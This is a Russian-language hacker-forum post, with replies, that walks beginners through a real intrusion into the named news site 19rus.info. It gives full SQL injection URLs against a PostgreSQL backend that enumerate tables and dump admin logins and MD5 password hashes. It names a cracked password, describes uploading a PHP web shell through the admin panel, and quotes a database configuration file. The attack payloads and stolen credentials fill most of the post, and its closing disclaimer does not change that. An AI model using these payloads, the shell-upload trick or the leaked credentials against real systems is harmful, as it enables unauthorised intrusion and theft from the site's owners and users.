[intro] Дело было вечером...делать было нечего...Хелькерн опубликовал sql-инъекцию на сайте 19rus.info, но так как там стоял PostgreSQL, ему было в лень ковыряться, но потом разобрался... Я решил разработать его скуль...но она была какой-то корявой...в общем из его скули ничего не вытянул...пришлось искать свою... Да и не хотел я описывать этот взлом...во всём рыжий виноват ...тиран он... [start] Искать долго не пришлось... Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=1' Получаем: Из ошибки понимаем, что имеем дело с PostgreSQL... Начинаем подбирать количество полей: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+null-- Ошибки нет....значит вроде правильно подобрали...проверяем: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+null,null-- Ошибка есть...значит поле все-таки одно... Далее мы приступаем к получении информации о таблицах и колонках в БД. Благо в PostgreSQL есть специальная база "Information_Schema", в которой и хранится нужная нам всяинформация. Начинаем, естественно, с таблиц: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables-- Узнаем, что первая таблица - applicable_roles Чтобы узнать последующие таблицы воспользуемся limit, правда в PostgreSQL он состоит из двух частей: limit и offset. Вот как раз offset и отвечает за номер записи. Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+1-- Узнали, что вторая таблица - areas А далее Вам предстоит долгий и нудный перебор таблиц вручную (если конечно нет нужного скрипта), меняя значение после offset'а... Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+2-- ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+3-- ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+table_name+from+Information_Schema.Tables+limit+1+offset+4-- Получаем: baners, banks и banned. Нам придется узнать названия всех существующих таблиц в БД, дабы знать из какой именно таблицы нам "тащить" нужную информацию. Скажу Вам по секрету, их там около 140 (прим. - список всех таблиц приложен к "статье"). После того как мы узнали названия всех таблиц, думаем в какой из таблиц хранится нужная нам информацию. Дабы не затруднять Вас ручным поиском, скажу сразу, это была таблица personal. Теперь узнаем колонки: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Tables-- Так мы будем постепенно узнавать все колонки, благодаря тому же limit'у, но так как нам нужно узнать название колонок именно в таблице personal, составляем след. запрос: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'-- Узнаем, что первая колонка 'family'...узнаем оставшиеся... Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'+limit+1+offset+1-- ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+column_name+from+Information_Schema.Columns+where+TABLE_NAME='personal'+limit+1+offset+2-- Получили login... Аналогичным образом получаем оставшиемся названия колонок. В итоге получается такая последовательность - family, login, name, password, person_id, priv. Теперь пробуем вытащить нужную нам информацию, зная название таблицы и колонок. Нам, как Вы могли уже понять, нужны 2 колонки: login и password... Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+login+from+personal-- Получили первый логин - admin... Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+password+from+personal-- А вот его и пароль - 092bb19f92d5fce73076190b10c20881 Чтобы сразу не гадали с алгоритмом, скажу сразу - простой md5. Продолжаем получать логины и пароли....следующая пара: Код: ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+login+from+personal+limit+1+offset+1-- ht*tp://www.19rus.info/archive.php?page_number=2&rubric_id=-1+union+select+password+from+personal+limit+1+offset+1-- info - 94a5fc0d53f1659a82be402e5b396dee Всё...как оказалось позже, пользователей больше нет....хотя когда "ломал" сайт, их было пятеро...а на время написании статьи уже двое... Итак...мы получили 2 логина и 2 пароли захешированных в md5... Что делаем? Правильно...ставим их на брут... 94a5fc0d53f1659a82be402e5b396dee - 060323 Уже кое-что... Долго искать админку не пришлось...находилось в стандартном месте - _ht*tp://www.19rus.info/admin/ Вводим info как логин, и как пароль 060323... Вот мы с Вами уже в админке...вам мало?....продолжим... Все конечно же подумали об заливке шелла....не проблема... В админке переходим на раздел РЕКЛАМА --> Партнеры Жмем кнопку "добавить"...номер ставим например 200... Изображение --> указываем путь на шелл (чистый php "глотает")... url любой, название тоже... Шелл залился в /admin/images/ Например - ht*tp://www.19rus.info/admin/images/test.php Работает.... Ничего интересного я там в принципе не нашел.... Кроме двух конфигурационных файлов: /usr/local/www/19rus/lib/db_mssql.inc.php Код: var $Host = "platinadb1"; var $Database = "mcash"; var $User = "sa"; var $Password = ""; /usr/local/www/19rus/lib/db_pgsql.inc.php [end] Вроде и всё... Хотелось бы сразу сказать истинных хеккерам, что это "статья" написана для новичков, посему написана достаточно подробно... P.s. Привет Хелькерну...спасибо за наводку ) P.ss Автор данной статьи хотел лишь продемонстрировать несовершенность нынешних систем, а не побуждать людей к подобным действиям, посему автор, то бишь я, никакой ответственности не несу ) (с) Koller
Koller, ++ %) P.ss Автор данной статьи хотел лишь продемонстрировать несовершенность нынешних систем, а не побуждать людей к подобным действиям, посему автор, то бишь я, никакой ответственности не несу ) забыл такую фигнюшку написать в статенге "хека' дарфейта-а то скажут че молодеж наставляешь...=\
Helkern, )) ну так сейчас допиши...пока не поздно... да и вообще...я не хотел описывать этот взлом, потому как в нём нет ничего нового, ничего интересного...
Но...+ как рыжий сказал, материал уникален...мол написан специально для этого форума... В общем ладно... Ждем оценок новичков...